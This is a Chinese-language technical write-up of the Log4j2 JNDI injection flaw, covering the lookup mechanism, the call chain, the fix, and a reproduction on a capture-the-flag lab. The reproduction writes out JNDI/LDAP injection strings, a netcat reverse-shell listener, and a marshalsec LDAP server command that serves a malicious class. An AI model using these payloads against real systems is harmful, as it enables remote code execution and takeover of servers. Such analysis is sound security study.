log4j简析
简单原理分析
其实这个主要的原因,和日志有关,日志是应用软件中不可缺少的部分,Apache的开源项目log4j是一个功能强大的日志组件,提供方便的日志记录。
最简单的日志打印
给一个登陆场景,不用关心登陆具体怎么实现,这里我们只需要关心用户名这个字段,举个例子代码
1 | public void login(string name){ |
明显一旦登陆后,我们就会通过表单接收到name字段,然后日志上就会有一条某用户登陆的记录。
lookup支持打印系统变量
name变量是用户输入的,用户输入什么都可以,上面的例子是字符串test。但是这都是正常输入,如果我们输入的是系统变量甚至恶意代码呢?
1 | public void login(string name){ |
如果在用户名框输入{$java:os},那么日志里就会记录的是系统相关的信息,上述代码就会输出
1 | Windows 7 6.1 Service Pack 1, architecture: amd64-64,登录了 |
这是因为在log4j中提供了一个lookup功能,这个功能的具体作用暂且不表,先理解为可以把一些系统变量或代码放到日志能被执行就行
JNDI介绍
大多数可能对JNDI不是很了解,用最通俗的话来解释 其实就是你自己做一个服务,比如是
1 | jndi:rmi:192.168.9.23:1099/remote |
如果被攻击的服务器,比如某台线上的服务器,访问了或者执行了,你自己的JNDI服务,「那么线上的服务器就会来执行JNDI服务中的remote方法的代码」
回过头来如果在登录框里输入JNDI的服务地址
1 | public void login(string name){ |
那么只要用log4j来打印这么一条日志,那么log4j就会去执行 jndi:rmi:192.168.9.23:1099/remote 服务,那么在黑客的电脑上就可以对线上服务做任何操作了
具体分析
前提知识
什么是JNDI
JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中,文件名被绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。
什么是LDAP
目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。
什么是Codebase
Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件。
原理概述
Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的
恶意代码编写
我们一直在提到恶意的Class文件,那么恶意类的Java代码是怎样的呢?写个main函数?
直接写main函数是不行的,因为整个过程中Java并没有执行Class文件中的任何方法,只是使用累加器加载和实例化了该类而已。所以我们需要让代码在实例化的就会被执行。因此我们这类采用了静态块。其代码如下
1 | public class evil { |
攻击流程与原理
由于源码涉及比较多,所以就不会详细降解源码,只会大致梳理下关键调用链(其实是我自己懒不想跟着调)
1、首先攻击者遭到存在风险的接口(接口会将前端输入直接通过日志打印出来),然后向该接口发送攻击内容:${jndi:ldap://localhost:9999/Test}。
2、被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印。
源码:org.apache.logging.slf4j.Log4jLogger.debug(…)/info(…)/error(…)等方法
> org.apache.logging.log4j.core.config.LoggerConfig.log(…)
> AbstractOutputStreamAppender.append(final LogEvent event)
3、此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。
源码:StrSubstitutor.substitute(…) –解析出${}中的内容:jndi:ldap://localhost:9999/Test
> StrSubstitutor.resolveVariable(…) –处理解析出的内容,执行lookup
> Interpolator.lookup(…) –根据jndi找到jndi的处理类
> JndiLookup.lookup(…)
> JndiManager.lookup(…)
> java.naming.InitialContext.lookup(…) –调用Java底层的Lookup方法
PS:后续都是java内部提供的Lookup功能,与log4j无关
4、请求Ldap服务器,获取到Ldap协议数据。Ldap会返回一个Codebase告诉客户端,需要从该Codebase去获取其需要的Class数据。
源码:LdapCtx.c_lookup(…) 请求并处理数据 (ldap中指定了javaCodeBase=)
>Obj.decodeObject –解析到ldap结果,得到classFactoryLocation=http://localhost:8888
> DirectoryManager.getObjectInstance(…) –请求Codebase得到对应类的结果
> NamingManager.getObjectFactoryFromReference(…) –请求Codebase
5、请求Ldap中返回的Codebase路径,去Codebase下载对应的Class文件,并通过类加载器将其加载为Class类,然后调用其默认构造函数将该Class类实例化成一个对象。
源码:VersionHelper12.loadClass(…) –请求Codebase得到Class并用类加载器加载
> NamingManager.getObjectFactoryFromReference(…) 通过默认构造函数实例化类。
到此整个攻击原理就完成了。其实总体也很简单。归纳来看关键就如下几步:
1、攻击则发送带有恶意Ldap内容的字符串,让服务通过log4j2打印
2、log4j2解析到ldap内容,会调用底层Java去执行Ldap的lookup操作。
3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。
4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)
JDK高版本为何无效
其实是因为高版本在VersionHelper12.loadClass方法中加了一个判断,如下新增了”com.sun.jndi.ldap.object.trustURLCodebase“变量来控制是否允许请求Codebase下载所需的Class文件,且该变量默认为false。
所以高版本的Java的请求逻辑如下。即无法请求Codebase,整个攻击因此失效
但我们还是可以正常请求Ldap服务器,所以我们仍然有可能通过自己的恶意Ldap服务器构建返回恶意代码,从而实现注入攻击。其实我们在模拟的时候完全可以通过System.setProperty(“com.sun.jndi.ldap.object.trustURLCodebase”, “true”);将其指定为true,这样我们就能够在高版本上执行攻击模拟。但是如果是探究高版本攻击原理和实际演练就不太行了
这里暂且不探究高版本攻击,知道大概原理即可
源码分析
具体涉及到的入口类是log4j-core-xxx.jar中的org.apache.logging.log4j.core.lookup.StrSubstitutor这个类。
原因是Log4j提供了Lookups的能力(关于Lookups可以点这里去看官方文档的介绍),简单来说就是变量替换的能力。
在Log4j将要输出的日志拼接成字符串之后,它会去判断字符串中是否包含${和},如果包含了,就会当作变量交给org.apache.logging.log4j.core.lookup.StrSubstitutor这个类去处理。
相关的代码下面这个
首先是org.apache.logging.log4j.core.pattern.MessagePatternConverter这个类的format方法
图中标注1的地方就是现在漏洞修复的地方,让noLookups这个变量为true,就不会进去里面的逻辑,也就没有这个问题了(毕竟整个漏洞就是围绕lookup来的,都禁了咋执行?)。
图中标注2的地方就是判断字符串中是否包含${,如果包含,就将从这个字符开始一直到字符串结束,交给图中标注3的地方去进行替换。
图中标注3的地方就是具体执行替换的地方,其中config.getStrSubstitutor()就是我们上面提到的org.apache.logging.log4j.core.lookup.StrSubstitutor。
在StrSubstitutor
中,首先将${
和}
之间的内容提取出来,交给resolveVariable
这个方法来处理
我们看下resolver
的内容,它是org.apache.logging.log4j.core.lookup.Interpolator
类的对象。
它的lookups定义了10中处理类型,还有一个默认的defaultLoopup,一种11中。如果能匹配到10中处理类型,就交给它们去处理,其他的都会交给defaultLookup去处理。
匹配规则也很简单,下面简单举个例子
1.如果我们的日志内容中有${jndi:rmi://127.0.0.1:1099/hello}这些内容,去掉${和}传递给resolver的就是jndi:rmi://127.0.0.1:1099/hello。
2.resolver会将第一个**:之前的内容和lookups做匹配,我们这里获取到的是jndi,就会将剩余部分jndi:rmi://127.0.0.1:1099/hello**交给jdni的处理器JndiLookup去处理。
图中标注1的地方入参就是jndi:rmi://127.0.0.1:1099/hello
图中标注2的地方就是jndi
图中标注3的地方就是rmi://127.0.0.1:1099/hello
图中标注4的地方就是处理器JndiLookup类的对象
图中标注5的地方就是jndi来处理的入口
修复
主要是通过设置noLookups变量的值,不让它进去这个if
里面的逻辑。
这个变量的值是来自下面这个属性
所以在在代码中加入System.setProperty("log4j2.formatMsgNoLookups","true");
这句也就可以了
复现
网上有很多现成的靶场,我直接拿ctfshow靶场做例子
有一个登录框,也就是我之前提的登陆例子
用dnslog当poc测下有洞没
1 | ${jndi:ldap://dnslog.com/exp} |
这里简单讲下为啥可以拿dnslog当poc测,因为上文讲到的org.apache.logging.log4j.core.lookup.Interpolator
的resolver定义了10种类型,其中包括了JNDI如果匹配到JNDI就交给JNDIlookup去处理,这里处理就跟我文章开头举得那个例子一个道理了。
0x01 准备工作
1 | public class evil { |
网上随便拿的一个恶意类,只要能反弹shell就行
接着因为要搭LDAP环境,如果是手动搭会比较麻烦,这里用工具
marshalsec-0.0.3-SNAPSHOT-all.jar 搭
0x02 监听端口
1 | nc -lvnp 50025 |
端口自己设置就好
0x03 起http服务
1 | python3 -m http.server 50026 |
这里我用python起的http服务,php也行,端口也是随意,只要不冲突就行,但是要注意的是要在恶意java类的目录下起http服务,而且要把该java文件编译成class文件。
0x04 起LDAP服务
1 | java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xxx:50026/#evil" |
这里的端口要和http服务的端口一样
0x05 验证
提交后,就能看到已经加载了恶意类,监听的端口也反弹到了shell